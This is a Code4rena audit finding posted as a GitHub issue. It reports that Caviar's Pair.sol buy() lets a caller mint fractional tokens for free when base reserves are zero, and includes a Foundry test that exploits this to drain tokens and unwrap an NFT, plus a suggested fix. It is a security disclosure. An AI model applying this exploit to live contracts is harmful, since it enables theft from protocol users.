Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Flaw in Pair Contract Allows Users to Get Free Fractional Tokens #276

Closed
code423n4 opened this issue Dec 19, 2022 · 4 comments
Closed

Flaw in Pair Contract Allows Users to Get Free Fractional Tokens #276

code423n4 opened this issue Dec 19, 2022 · 4 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-243 satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L398-L400
https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L147-L176

Vulnerability details

Impact

The buy() function in the Pair.sol contract is designed to allow users to purchase fractional tokens from the pair. A buy quote is created through the buyQuote() function which returns the amount of fractional tokens to be minted by returning (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997) however, there is a critical flaw when there are no base tokens in the reserves, this will allow the malicious actor to get free Fractional tokens as anything multiplied by zero base token reserves is always going to equal zero input tokens. This was rated a Medium in severity because whilst NFT tokens can be stolen, certain edge cases must be met for the base token reserves to reach zero.

Proof of Concept

The following proof of concept solidity test outlines the impact mentioned above:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/Caviar.sol";
import "../src/Pair.sol";
import "./shared/mocks/MockERC721.sol";
import "./shared/mocks/MockERC20.sol";
import "./shared/mocks/MockUSDC.sol";
import "./shared/exploits/MaliciousNFT.sol";
import "../script/CreatePair.s.sol";


contract MyTest is Test {

    address alice = vm.addr(1);
    address eve = vm.addr(1);

    MockERC721 public bayc;
    MockUSDC public usdc; // Modified ERC20 contract to support 1e6

    CreatePairScript public createPairScript;
    Caviar public c;
    Pair public p;
    LpToken public lpToken;
    Pair public ethPair;
    LpToken public ethPairLpToken;

    address public babe = address(0xbabe);

    function setUp() public {

        vm.deal(address(alice), 1000 ether);
        vm.deal(address(eve), 1000 ether);

        createPairScript = new CreatePairScript();

        c = new Caviar();

        bayc = new MockERC721("yeet", "YEET");
        usdc = new MockUSDC();

        p = c.create(address(bayc), address(usdc), bytes32(0));
        lpToken = LpToken(p.lpToken());

        ethPair = c.create(address(bayc), address(0), bytes32(0));
        ethPairLpToken = LpToken(ethPair.lpToken());

        vm.label(babe, "babe");
        vm.label(address(c), "caviar");
        vm.label(address(bayc), "bayc");
        vm.label(address(usdc), "usd");
        vm.label(address(p), "pair");
        vm.label(address(lpToken), "LP-token");
        vm.label(address(ethPair), "ethPair");
        vm.label(address(ethPairLpToken), "ethPair-LP-token");
    }

    function testZeroBaseTokensAllowsFreeTransfer() public {
        console.log("EVE ADDRESS:");
        console.log(address(eve)); // 1000 USDC , 0 Fractional

        uint256 usdcAmount = 1000 * 1e6;
        uint256 fractionalTokenAmount = 30 ether;

        // Set up scenario 
        deal(address(usdc), address(eve), usdcAmount, true); 
        deal(address(p), address(p), 100 ether, true); 
        bayc.mint(address(p), 1);

        // Assertion for pair
        assertEq(usdc.balanceOf(address(p)), 0);
        assertEq(p.balanceOf(address(p)), 100 ether);
        assertEq(bayc.balanceOf(address(p)), 1);
        // Assertions for alice
        assertEq(usdc.balanceOf(address(eve)), 1000 * 1e6);
        assertEq(p.balanceOf(address(eve)), 0);
        assertEq(bayc.balanceOf(address(eve)), 0);

        // DEBUG
        // console.log("Eve balance of USDC token before:");
        // console.log(usdc.balanceOf(address(eve)));
        // console.log("Eve balance of fractional token before:");
        // console.log(p.balanceOf(address(eve)));
        // console.log("Pair balance for fractional before:");
        // console.log(p.balanceOf(address(p)));


        vm.startPrank(address(eve));

        usdc.approve(address(p), usdc.balanceOf(address(eve)));
        // Eve cleans out the vault without providing a cent of USDC
        p.buy(99 ether, usdc.balanceOf(address(eve))); // Results in a revert if eve stole the full amount, so one token is left
        
        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = 1;
        p.unwrap(tokenIds); // Unwrap stoken fractional funds and steal NFTs

        vm.stopPrank();

        // Assertion for pair
        assertEq(usdc.balanceOf(address(p)), 0);
        assertEq(p.balanceOf(address(p)), 1 ether);
        assertEq(bayc.balanceOf(address(p)), 0);

        // Assertions for eve
        assertEq(usdc.balanceOf(address(eve)), 1000 * 1e6);
        assertEq(p.balanceOf(address(eve)), 98 ether); 
        assertEq(bayc.balanceOf(address(eve)), 1);


        // DEBUG
        // console.log("\n");
        // console.log("Eve balance of USDC token after:");
        // console.log(usdc.balanceOf(address(eve)));
        // console.log("Eve balance of fractional token after:");
        // console.log(p.balanceOf(address(eve)));
        // console.log("\n");
        // console.log("Pair balance for fractional after:");
        // console.log(p.balanceOf(address(p))/1e18);
    }
}

Recommended Mitigation Steps

It is recommended that the user who creates a caviar pair is required to initially add liquidity to the pool so they are obligated to provide input tokens in exchange for fraction tokens. In addition to this, the sanity check below in the buy() function is recommended to ensure that base liquidity tokens have already been provided:

require((ERC20(baseToken).balanceOf(address(this)) > 0), "Liquidity not provided!");
@code423n4 code423n4 added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Dec 19, 2022
code423n4 added a commit that referenced this issue Dec 19, 2022
@c4-judge
Copy link
Contributor

berndartmueller marked the issue as duplicate of #391

@c4-judge
Copy link
Contributor

berndartmueller marked the issue as not a duplicate

@c4-judge
Copy link
Contributor

berndartmueller marked the issue as duplicate of #243

@c4-judge c4-judge added duplicate-243 satisfactory satisfies C4 submission criteria; eligible for awards labels Jan 13, 2023
@c4-judge
Copy link
Contributor

berndartmueller marked the issue as satisfactory

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-243 satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

2 participants